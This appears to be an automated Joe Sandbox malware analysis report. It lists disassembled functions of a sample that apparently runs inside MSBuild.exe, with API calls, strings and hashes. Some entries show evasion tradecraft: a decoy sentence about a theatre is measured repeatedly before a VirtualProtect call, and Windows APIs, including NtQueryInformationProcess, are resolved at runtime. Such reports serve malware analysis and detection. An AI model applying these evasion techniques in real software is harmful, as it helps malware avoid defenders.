Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: H_prolog3_catch_strlen
String ID: |#t
API String ID: 3133806014-1265338978
Opcode ID: 7087c54c9b15d599ea432758ddf9512a795641f8792f33a54cf002f5dc6b4ef4
Instruction ID: b1c2c17e9879c84bc0586a00d91983f9acbf6bf52935ec7190daae6e005c808e
Opcode Fuzzy Hash: 7087c54c9b15d599ea432758ddf9512a795641f8792f33a54cf002f5dc6b4ef4
Instruction Fuzzy Hash: 00715071E01218DFCB14DF98E4849ACB7F1BF88310F24825AE459AB3A1D73C9E41CB51

Function 00729DB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00729DEF
__IsNonwritableInCurrentImage.LIBCMT ref: 00729EA3

Strings

csm, xrefs: 00729E8D

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 2669fee7164a820d94e893f4ad3de4ac8e63b7d9e6d608ad4af1ae40f157fd12
Instruction ID: db331c5876989daae837f8a056e29495476e60eae7043b331c789320681b246f
Opcode Fuzzy Hash: 2669fee7164a820d94e893f4ad3de4ac8e63b7d9e6d608ad4af1ae40f157fd12
Instruction Fuzzy Hash: DA412535E00228EBCF10DF68D885A9EBBB1BF45324F198155E9186B3A2D739DE41CB91

Function 0072A6BD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 0072A6E2

Strings

RCC, xrefs: 0072A6FC
MOC, xrefs: 0072A6F4

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: cf14fc13c74338d784b889e181382f72c0483a80fc926bc1e9a96ad2e3599883
Instruction ID: 1c4f2b0ac6eb5c642b9102e86f40841ab730883a3d4401cc889ddbd699b28166
Opcode Fuzzy Hash: cf14fc13c74338d784b889e181382f72c0483a80fc926bc1e9a96ad2e3599883
Instruction Fuzzy Hash: 8A416871900219FFDF15DF98ED81AAEBBB5FF48300F188099F904A7252D3399A50DB56

Function 00763FE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00764052
__aulldiv.LIBCMT ref: 00764060

Strings

@, xrefs: 0076402D

Memory Dump Source

Source File: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 2981217eea2b5f680c905b426e803779e6214752f01252553442cc82a984f035
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: 51214AB1E44218ABDB00DFD4CC49FAEB7B9FB45B00F204609F606BB280C77969008BA5

Function 0074D100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0074D138
__aulldiv.LIBCMT ref: 0074D146

Strings

@, xrefs: 0074D113

Memory Dump Source

Source File: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: 13f5182da880c56dd4c50a8f27090db2113947df23ba64023c266370515e63c0
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 4C01FBB0944208FBEB20EBE0DC4AB9EBBB8AB01705F218459EB0577291D77859458759

Function 007215DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 007215E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0072161E

Part of subcall function 00724EBF: _Yarn.LIBCPMT ref: 00724EDE
Part of subcall function 00724EBF: _Yarn.LIBCPMT ref: 00724F02

Strings

bad locale name, xrefs: 0072162C

Memory Dump Source

Source File: 00000000.00000002.1752793058.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1752764766.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752828552.0000000000742000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752902007.0000000000799000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752917327.000000000079A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752930939.000000000079B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_CR0QGWXdDl.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 8dcf0a5c04dd237bdf69590970345468d4327d3049a7d499de6f0f611479b696
Instruction ID: bc3e834f913766a29b67682c98992a1216e8eb65b3072a29dcfb4491ef6ab7d8
Opcode Fuzzy Hash: 8dcf0a5c04dd237bdf69590970345468d4327d3049a7d499de6f0f611479b696
Instruction Fuzzy Hash: F5F017B1506B909E83309F7A9881447FBE4BE28210794CE2EE1DEC3A11D734E544CB6A

Analysis Process: MSBuild.exePID: 6904, Parent PID: 6780COMMON

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 5acfa23b78d647d16e3131d476f18804c650b7bf61bc6c67ff7474173f5a2b8f
Instruction ID: d74624c404fea8bc3833097cd15bfd8a5e03d1640ee24043f2693d34696df282
Opcode Fuzzy Hash: 5acfa23b78d647d16e3131d476f18804c650b7bf61bc6c67ff7474173f5a2b8f
Instruction Fuzzy Hash: DF41A979740624EBC71C9FE5EC89B997F60AB8C712BA0C062F90299190C7FAD5119B3D

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00D43298), ref: 004198A1
GetProcAddress.KERNEL32(74DD0000,00D432B0), ref: 004198BA
GetProcAddress.KERNEL32(74DD0000,00D432C8), ref: 004198D2
GetProcAddress.KERNEL32(74DD0000,00D432E0), ref: 004198EA
GetProcAddress.KERNEL32(74DD0000,00D432F8), ref: 00419903
GetProcAddress.KERNEL32(74DD0000,00D43310), ref: 0041991B
GetProcAddress.KERNEL32(74DD0000,00D44698), ref: 00419933
GetProcAddress.KERNEL32(74DD0000,00D446B8), ref: 0041994C
GetProcAddress.KERNEL32(74DD0000,00D43320), ref: 00419964
GetProcAddress.KERNEL32(74DD0000,00D446D8), ref: 0041997C
GetProcAddress.KERNEL32(74DD0000,00D446F0), ref: 00419995
GetProcAddress.KERNEL32(74DD0000,00D404B0), ref: 004199AD
GetProcAddress.KERNEL32(74DD0000,00D404C8), ref: 004199C5
GetProcAddress.KERNEL32(74DD0000,00D47810), ref: 004199DE
GetProcAddress.KERNEL32(74DD0000,00D477E0), ref: 004199F6
GetProcAddress.KERNEL32(74DD0000,00D404E8), ref: 00419A0E
GetProcAddress.KERNEL32(74DD0000,00D47708), ref: 00419A27
GetProcAddress.KERNEL32(74DD0000,00D476C0), ref: 00419A3F
GetProcAddress.KERNEL32(74DD0000,00D40508), ref: 00419A57
GetProcAddress.KERNEL32(74DD0000,00D47678), ref: 00419A70
GetProcAddress.KERNEL32(74DD0000,00D40528), ref: 00419A88
LoadLibraryA.KERNEL32(00D47828,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNEL32(00D47720,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNEL32(00D47738,?,00416A00), ref: 00419ABD
LoadLibraryA.KERNEL32(00D47690,?,00416A00), ref: 00419ACF
LoadLibraryA.KERNEL32(00D47750,?,00416A00), ref: 00419AE0
GetProcAddress.KERNEL32(75A70000,00D47660), ref: 00419B02
GetProcAddress.KERNEL32(75290000,00D47798), ref: 00419B23
GetProcAddress.KERNEL32(75290000,00D477F8), ref: 00419B3B
GetProcAddress.KERNEL32(75BD0000,00D47768), ref: 00419B5D
GetProcAddress.KERNEL32(75450000,00D40548), ref: 00419B7E
GetProcAddress.KERNEL32(76E90000,00D40568), ref: 00419B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00419BB6

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
